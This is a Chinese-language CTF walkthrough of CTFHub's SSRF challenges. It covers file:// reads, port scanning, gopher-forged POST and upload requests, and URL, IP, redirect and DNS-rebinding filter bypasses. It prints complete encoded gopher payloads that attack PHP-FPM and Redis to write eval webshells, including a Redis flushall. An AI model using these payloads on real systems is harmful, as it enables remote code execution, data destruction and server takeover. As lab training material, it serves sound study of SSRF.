CTFHub SSRF总结

CTFHub上的SSRF技能树主要分为三部分:

  • http、dict和file等协议的利用
  • gopher协议的利用
  • Bypass

如图所示,依次对应完全三叉树的三颗子树:
CTFHub SSRF总结_第1张图片
笔者对该靶场所需的相关知识进行了总结、拓展,供大家学习参考:SSRF 漏洞学习

内网访问

题目描述:尝试访问位于127.0.0.1的flag.php吧。

进入题目:
在这里插入图片描述
可以看到该链接可以传入一个参数url=,跟据题目描述直接构造payload:url=http://127.0.0.1/flag.php,成功得到flag。
在这里插入图片描述

伪协议读取文件

题目描述:尝试去读取一下Web目录下的flag.php吧。

相关知识:PHP伪协议总结、SSRF中的URL的伪协议、php.ini中allow_url_fopen和allow_url_include的设置

进入题目:
在这里插入图片描述
和第一题一样,可以传入一个参数url=,首先尝试第一题的payload:url=http://127.0.0.1/flag.php
在这里插入图片描述
蟹bro,What’s up ??? F12查看页面源码,依旧什么都没有。
CTFHub SSRF总结_第2张图片
根据题目,尝试使用伪协议file:///查看源码:url=file:///var/www/html/flag.php(网站的目录一般都在/var/www/html/下,例如我们常用的phpstudy)
在这里插入图片描述
F12查看网页源码成功得到flag。
CTFHub SSRF总结_第3张图片

端口扫描

题目描述:来来来性感CTFHub在线扫端口,据说端口范围是8000-9000哦。

进入题目:
在这里插入图片描述
首先依旧尝试第一题的payload,但是人家根本就没有flag.php这个文件。
CTFHub SSRF总结_第4张图片
根据题目描述,尝试在8000-9000范围内进行端口扫描,在这里我们使用burpsuite来完成。

首先打开burpsuite抓包,然后将其Send to intruder。
CTFHub SSRF总结_第5张图片
在Positions中填写参数url=http://127.0.0.1:8000,并在8000两边Add $将其设置为payload。
CTFHub SSRF总结_第6张图片
在Payloads中选择Payload type:NumbersFrom:8000To:9000Step:1,然后Start attack。
CTFHub SSRF总结_第7张图片
待全部跑完后双击Length从大到小排序,发现8147处Length与其他地方明显不同。
CTFHub SSRF总结_第8张图片
在这里,8147就相当于前面题目中的flag.php,构造payload:url=http://127.0.0.1:8147,成功得到flag。
在这里插入图片描述

POST请求

题目描述:这次是发一个HTTP POST请求。对了,ssrf是用php的curl实现的,并且会跟踪302跳转,加油吧骚年!

相关知识:PHP使用CURL详解、Gopher协议在SSRF漏洞中的深入研究

进入题目:
CTFHub SSRF总结_第9张图片
发现还是什么都没有。根据CTF常规思路,对其进行目录扫描,成功扫描到index.php和flag.php。index.php应该就是当前页面,尝试对flag.php进行访问。
CTFHub SSRF总结_第10张图片
fine,尝试利用第一题的payloadurl=http://127.0.0.1/flag.php,成功访问。
CTFHub SSRF总结_第11张图片
F12查看页面源码,得知此处是一个输入框并发现key。
CTFHub SSRF总结_第12张图片
看来应该是让我们把这个key输入进去并提交从而得到flag。为了验证猜想,我们使用
url=file:///var/www/html/index.phpurl=file:///var/www/html/flag.php分别读出index.php和flag.php的源码。

index.php:

<!--?php

error_reporting(0);

if (!isset($_REQUEST['url'])){
    header("Location: /?url=_");
    exit;
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);-->

flag.php:

<!--?php

error_reporting(0);

if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
    echo "Just View From 127.0.0.1";
    return;
}

$flag=getenv("CTFHUB");
$key = md5($flag);

if (isset($_POST["key"]) && $_POST["key"] == $key) {
    echo $flag;
    exit;
}
?-->

猜想正确。但是这里并没有提交按钮,因此我们对该页面进行F12前端改写,通过创建新节点的方法添加一个submit提交按钮。
CTFHub SSRF总结_第13张图片
添加成功,提交key值。
在这里插入图片描述
CTFHub SSRF总结_第14张图片
fine,看来必须从目标机本地访问才能得到flag。根据题目描述,尝试利用gopher协议来构造Host:127.0.0.1的POST请求。我们首先构造一个最基本的POST请求,也就是说POST请求至少要有以下内容。

POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=0396be72b352b4d94f4db91da5e5e3af

注意:Content-Length的值必须和的POST请求的长度一样。

因为是伪造目标机的HTTP请求,故需对其进行URL编码,结果如下。

POST%20%2Fflag.php%20HTTP%2F1.1%0AHost%3A%20127.0.0.1%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0AContent-Length%3A%2036%0A%0Akey%3D0396be72b352b4d94f4db91da5e5e3af

因为在我们构造POST请求时,是以回车 /r 为换行符的,而在HTTP请求头中,是以 /r/n 为换行符的,所以我们需要将 %0A 替换为 %0D%0A,结果如下。

POST%20%2Fflag.php%20HTTP%2F1.1%0D%0AHost%3A%20127.0.0.1%0D%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A%2036%0D%0A%0D%0Akey%3D0396be72b352b4d94f4db91da5e5e3af

/r,/n,/r/n的区别&socket客户端怎么判断http响应数据的结束

URL编码的次数取决于请求的次数。因为payload是作为url=的参数传递的,故需对其再进行一次URL编码,结果如下。

POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253D0396be72b352b4d94f4db91da5e5e3af

利用gopher协议构造payload如下,成功得到flag。

url=gopher://127.0.0.1:80/_POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253D0396be72b352b4d94f4db91da5e5e3af

在这里插入图片描述

上传文件

题目描述:这次需要上传一个文件到flag.php了,祝你好运!

进入题目:
CTFHub SSRF总结_第15张图片
受上一题启发,首先进行目录扫描,成功扫描到index.php和flag.php。使用payload:url=http://127.0.0.1/flag.php,成功访问。
CTFHub SSRF总结_第16张图片
根据题目描述和所得信息,猜想这题和上一题“POST请求”差不多,上一题要求用POST方法传递key,而这一题要求用POST方法传递文件。我们依旧可以将index.php和flag.php的源码读出来。

index.php:

<!--?php

error_reporting(0);

if (!isset($_REQUEST['url'])) {
    header("Location: /?url=_");
    exit;
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
-->

flag.php:

<!--?php

error_reporting(0);

if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
    echo "Just View From 127.0.0.1";
    return;
}

if(isset($_FILES["file"]) && $_FILES["file"]["size"] > 0){
    echo getenv("CTFHUB");
    exit;
}
-->

可以发现flag.php确实是个文件上传的页面,且仅要求上传的文件大小大于0即可得到flag,并没有任何过滤。接下来我们尝试利用gopher协议上传文件。

只有得到文件上传的数据包,才能编写gopher的payload。因此我们对这个文件上传的flag.php页面进行F12前端改写,添加一个submit提交按钮(这里与上一题“POST请求”相同,点击提交按钮是得不到flag的,必须从目标机本地访问)
CTFHub SSRF总结_第17张图片
添加成功,随便上传一个非空的文件,然后抓包,成功得到文件上传的数据包。
CTFHub SSRF总结_第18张图片
修改Host: 127.0.0.1:80后复制,按照上一题的操作步骤,先进行一次URL编码,将 %0A 替换为 %0D%0A 后再进行一次URL编码,最后构造payload如下,成功得到flag。

gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AUser-Agent%253A%2520Mozilla/5.0%2520%2528Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64%253B%2520rv%253A91.0%2529%2520Gecko/20100101%2520Firefox/91.0%250D%250AAccept%253A%2520text/html%252Capplication/xhtml%252Bxml%252Capplication/xml%253Bq%253D0.9%252Cimage/webp%252C%252A/%252A%253Bq%253D0.8%250D%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.8%252Czh-TW%253Bq%253D0.7%252Czh-HK%253Bq%253D0.5%252Cen-US%253Bq%253D0.3%252Cen%253Bq%253D0.2%250D%250AAccept-Encoding%253A%2520gzip%252C%2520deflate%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D---------------------------14020480503183837623450490631%250D%250AContent-Length%253A%2520620%250D%250AOrigin%253A%2520http%253A//challenge-8ae15e816c94c237.sandbox.ctfhub.com%253A10800%250D%250AConnection%253A%2520close%250D%250AReferer%253A%2520http%253A//challenge-8ae15e816c94c237.sandbox.ctfhub.com%253A10800/%253Furl%253D127.0.0.1/flag.php%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250A%250D%250A-----------------------------14020480503183837623450490631%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%2522%25C3%25A6%25C2%2596%25C2%25B0%25C3%25A5%25C2%25BB%25C2%25BA%2520%25C3%25A6%25C2%2596%25C2%2587%25C3%25A6%25C2%259C%25C2%25AC%25C3%25A6%25C2%2596%25C2%2587%25C3%25A6%25C2%25A1%25C2%25A3.txt%2522%250D%250AContent-Type%253A%2520text/plain%250D%250A%250D%250Aurl%253Dgopher%253A//127.0.0.1%253A80/_POST%25252520%2525252Fflag.php%25252520HTTP%2525252F1.1%2525250D%2525250AHost%2525253A%25252520127.0.0.1%2525250D%2525250AContent-Type%2525253A%25252520application%2525252Fx-www-form-urlencoded%2525250D%2525250AContent-Length%2525253A%2525252036%2525250D%2525250A%2525250D%2525250Akey%2525253D7b3de89f2a15dc8d1f5fb2698e1824a1%250D%250A-----------------------------14020480503183837623450490631%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A%25C3%25A6%25C2%258F%25C2%2590%25C3%25A4%25C2%25BA%25C2%25A4%25C3%25A6%25C2%259F%25C2%25A5%25C3%25A8%25C2%25AF%25C2%25A2%250D%250A-----------------------------14020480503183837623450490631--

在这里插入图片描述

FastCGI协议

题目描述:这次我们需要攻击一下fastcgi协议咯,也许附件的文章会对你有点帮助。

题目附件:Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写

进入题目:
CTFHub SSRF总结_第19张图片
先进行目录扫描,未发现特殊目录。根据题目“FastCGI协议”,猜想是让我们利用SSRF攻击FastCGI。接下来,我们使用Gopherus工具生成攻击FastCGI的payload(Python2环境)。

利用条件:

  • libcurl版本>=7.45.0
  • PHP-FPM监听端口
  • PHP-FPM版本 >= 5.3.3
  • 知道服务器上任意一个php文件的绝对路径

首先使用url=file:///var/www/html/index.php读出index.php的源码,从而验证服务器上存在绝对路径:/var/www/html/index.php
CTFHub SSRF总结_第20张图片
然后使用Gopherus工具依次执行以下命令,生成往web目录中写shell的payload。

python2 gopherus.py --exploit fastcgi

/var/www/html/index.php # 这里输入服务器上任意一个php文件的绝对路径

echo PD9waHAgQGV2YWwoJF9QT1NUWydjbGF5J10pOz8+ | base64 -d > /var/www/html/shell.php # 这里输入希望目标服务器执行的恶意命令
CTFHub SSRF总结_第21张图片
成功得到payload,结果如下。

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH135%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%87%04%00%3C%3Fphp%20system%28%27echo%20PD9waHAgQGV2YWwoJF9QT1NUWydjbGF5J10pOz8%2B%20%7C%20base64%20-d%20%3E%20/var/www/html/shell.php%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

因为payload是作为url=的参数传递的,故需对其再进行一次URL编码,结果如下。

这里需要进行两次URL编码的原因是GET和CURL都会进行一次URL解码。

gopher%3A%2F%2F127.0.0.1%3A9000%2F_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2505%2505%2500%250F%2510SERVER_SOFTWAREgo%2520%2F%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP%2F1.1%250E%2503CONTENT_LENGTH135%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A%2F%2Finput%250F%2517SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Findex.php%250D%2501DOCUMENT_ROOT%2F%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%2587%2504%2500%253C%253Fphp%2520system%2528%2527echo%2520PD9waHAgQGV2YWwoJF9QT1NUWydjbGF5J10pOz8%252B%2520%257C%2520base64%2520-d%2520%253E%2520%2Fvar%2Fwww%2Fhtml%2Fshell.php%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500

通过url=传递payload,写入webshell。
在这里插入图片描述
使用url=file:///var/www/html/shell.php验证webshell是否写入成功。
CTFHub SSRF总结_第22张图片

验证成功,使用蚁剑一键链接,在根目录成功找到flag。
CTFHub SSRF总结_第23张图片

Redis协议

题目描述:这次来攻击redis协议吧,redis://127.0.0.1:6379。资料?没有资料!自己找!

进入题目:
CTFHub SSRF总结_第24张图片
同上一题“FastCGI协议”,我们依旧使用Gopherus工具,生成攻击Redis的payload。

首先使用url=file:///var/www/html/index.php读出index.php的源码,从而验证服务器的根目录为:var/www/html
CTFHub SSRF总结_第25张图片

然后使用Gopherus工具依次执行以下命令,生成往web目录中写shell的payload。

python2 gopherus.py --exploit redis

phpshell #这里选择是反弹shell还是正向shell

/r(回车) # 这里输入服务器根目录,默认为/var/www/html

/r(回车) # 默认写入根目录的shell.php
CTFHub SSRF总结_第26张图片
成功得到payload,结果如下。

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A%3C%3Fphp%20%40eval%28%24_POST%5B%27clay%27%5D%29%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

同上一题“FastCGI协议”,对其再进行一次URL编码,结果如下。

gopher%3A%2F%2F127.0.0.1%3A6379%2F_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252434%250D%250A%250A%250A%253C%253Fphp%2520%2540eval%2528%2524_POST%255B%2527clay%2527%255D%2529%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

通过url=传递payload,写入webshell。
在这里插入图片描述
使用url=file:///var/www/html/shell.php验证webshell是否写入成功。
CTFHub SSRF总结_第27张图片
验证成功,使用蚁剑一键链接,在根目录成功找到flag。
CTFHub SSRF总结_第28张图片

URL Bypass

题目描述:请求的URL中必须包含http://notfound.ctfhub.com,来尝试利用URL的一些特殊地方绕过这个限制吧。

进入题目:
CTFHub SSRF总结_第29张图片
首先进行目录扫描,成功扫描到flag.php。根据题目描述,构造payload:url=http://[email protected]/flag.php,成功得到flag。

题目要求 url must startwith “http://notfound.ctfhub.com”,我们可以利用@来绕过。
如 http://[email protected] 实际上是以用户名 clay 连接到站点 127.0.0.1。
即 http://[email protected] 与 http://127.0.0.1 请求是相同的。

在这里插入图片描述

数字IP Bypass

题目描述:这次ban掉了127以及172,不能使用点分十进制的IP了,但是又要访问127.0.0.1,该怎么办呢?

进入题目:
CTFHub SSRF总结_第30张图片
首先进行目录扫描,成功发现flag.php。根据题目描述尝试绕过127.0.0.1。

  • 进制转换
    127.0.0.1的八进制:0177.0.0.1
    127.0.0.1的十进制:2130706433
    127.0.0.1的十六进制:0x7f.0.0.1

经尝试,仅十进制可以绕过。构造payload:url=http://2130706433/flag.php,成功得到flag。
在这里插入图片描述

  • 目标替代
    http://0/flag.php
    http://localhost/flag.php
    http://①②⑦.⓪.⓪.①/flag.php
    http://[0:0:0:0:0:ffff:127.0.0.1]/flag.php

经尝试,仅0和localhost可以绕过。构造payload:url=http://localhost/flag.php,成功得到flag。
CTFHub SSRF总结_第31张图片

302跳转 Bypass

题目描述:SSRF中有个很重要的一点是请求可能会跟随302跳转。尝试利用这个来绕过对IP的检测,访问到位于127.0.0.1的flag.php吧。

相关知识:HTTP——302临时重定向

进入题目:
CTFHub SSRF总结_第32张图片
尝试使用上一题“数字IP Bypass”的payload:url=http://localhost/flag.php,成功得到flag。
CTFHub SSRF总结_第33张图片
根据题目描述,这应该是出题时过滤不严而导致的非预期解。预期解应当是编写一个重定向至127.0.0.1/flag.php的302跳转页面,并将其命名为302.php后上传至服务器,从而构造payload:url=服务器ip/302.php。需要注意的一点是,服务器ip中不能存在黑名单中的数字,例如192。
在这里插入图片描述
如果不会编写302跳转页面。On the one hand,可以从网上直接copy源码后加以修改。On the other hand,可以寻找一些提供在线服务的网站。

PHP 302 跳转代码


    header("HTTP/1.1 302 found"); 
    header("Location:https://www.baidu.com");
    exit();
?>

PHP 301 跳转代码


    header("HTTP/1.1 301 Moved Permanently"); 
    header("Location: http://www.baidu.com/"); 
    exit(); 
?>    

网络上存在一个很神奇的服务,网址为 http://xip.io,当访问这个网址的时候,都会被重定向至其子域名。举个例子:当我们访问 http://127.0.0.1.xip.io/flag.php 的时候,实际上我们访问的是 http://127.0.0.1/flag.php。

但由于该题的本质是ban掉了127,所以此方法在这里并不适用。

这里给出另一个网址 https://4m.cn/,它提供短链接生成服务。当我们提供一个链接后,它能为我们生成一个较原链接更短的短链接,并使短链接重定向为原链接。

经尝试,该方法可以成功Bypass,也更像是预期解。

DNS重绑定 Bypass

题目描述:关键词:DNS重绑定。剩下的自己来吧,也许附件中的链接能有些帮助。

题目附件:浅谈DNS重绑定漏洞

进入题目:
CTFHub SSRF总结_第34张图片
附件中讲的很清楚,由于我们无法在程序运行时以毫秒为单位手动更改DNS记录,所以要想实现DNS重绑定攻击,就必须配置一个自定义的恶意DNS服务器,并设定好指定域名的解析IP,再将TTL设置为0,使其解析时在非法内网IP与合法其他IP间反复横跳。我们可以自己编写解析服务,也可以利用测试dns重绑定漏洞的网站,让一个域名随意绑定两个IP。
CTFHub SSRF总结_第35张图片
构造payload:url=指定域名/flag.php,成功得到flag。
在这里插入图片描述

你可能感兴趣的:(Web安全,php,web,安全漏洞)